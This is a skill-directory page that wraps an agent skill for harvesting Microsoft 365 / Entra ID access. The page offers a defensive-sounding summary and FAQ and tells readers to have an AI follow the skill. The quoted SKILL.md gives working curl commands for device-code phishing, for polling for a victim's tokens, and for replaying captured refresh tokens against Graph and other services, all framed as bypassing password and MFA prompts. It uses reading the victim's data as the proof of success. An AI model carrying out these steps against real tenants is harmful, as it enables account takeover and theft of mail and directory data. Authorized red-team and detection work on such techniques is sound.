Skip to content
Skillpedia
Security6.5k · #14121

o365-credential-harvest

What it does

This guide describes sign-in patterns in Microsoft 365 and Entra ID that attackers use to get tokens without a fake password page. It is for identity and security teams who protect Microsoft tenants.

When to use it

  • ✓When an identity team wants to check whether device-code sign-in is allowed for users who do not need it.
  • ✓When a team wants alerts for unusual token use or new device sign-ins.
  • ✓When an authorized test checks how token theft would be detected.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute →

Example of what to ask your AI

“Can we block device-code sign-in for most users in Microsoft 365 without breaking our apps? Please check our setup.”

5 new skills a week. 1 minute to read.

How it works

The agent reviews the sign-in and conditional access settings, lists where device-code flows are allowed, and suggests policies and alerts to block or detect misuse.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

O365 / Entra Credential & Token Harvest

Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.

Device-code flow

The attacker requests a device code; the victim is social-engineered to enter it at the real microsoft.com/devicelogin. After they complete sign-in (MFA included), the attacker polls and receives access + refresh tokens.

TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
  -d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"

Token replay (TokenTactics pattern)

A refresh token captured here (or via evilginx2-proxy) is exchanged for access tokens against Graph, Outlook, SharePoint, Teams — each a distinct resource scope — without re-auth.

RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
  -d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com

Validate

A token is interesting; a Graph call returning the victim's mailbox / directory data is the finding: curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.

Evidence

Tokens → Credential nodes (type oauth-token, with scope + expiry) linked to the User node. Store ONLY under evidence/phisher/ + the knowledge graph.

RoE / OPSEC

  • Device-code lures still require the lure-deconfliction handshake.
  • Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
  • NEVER read more mailbox/Graph data than the objective requires; abide by plan/roe.json:data_handling.
FAQ

What is device-code sign-in?

It is a sign-in method meant for devices without keyboards, which attackers can abuse by tricking users into entering a code.

What does token replay mean?

It is reusing a captured token for other Microsoft services without signing in again.

What should be monitored?

Unusual sign-in sources, token use from new devices and device-code sign-ins that were not expected.

Details

Original description by the author

Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14121
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills